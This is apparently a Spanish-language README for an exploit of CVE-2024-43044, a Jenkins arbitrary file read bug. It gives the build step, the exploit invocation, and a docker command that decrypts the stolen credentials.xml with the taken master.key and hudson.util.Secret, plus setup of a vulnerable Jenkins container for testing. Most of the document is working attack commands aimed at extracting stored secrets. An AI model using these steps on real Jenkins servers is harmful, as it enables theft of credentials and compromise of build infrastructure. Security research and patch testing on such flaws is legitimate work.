
Exploit para CVE-2024-43044 que permite la lectura arbitraria de archivos desde el controlador de Jenkins para extraer y descifrar credentials.xml usando claves secretas.
Este es un exploit para CVE-2024-43044, una lectura de archivos arbitraria que permite a un agente obtener archivos del controlador.
El exploit utilizará la vulnerabilidad para leer el archivo credentials.xml y obtener las claves secretas para descifrarlo.
Código inicial : https://github.com/convisolabs/CVE-2024-43044-jenkins Análisis original : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
Puedes probarlo en una versión vulnerable usando docker:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Una vez que tengas Jenkins ejecutándose, configura un agente.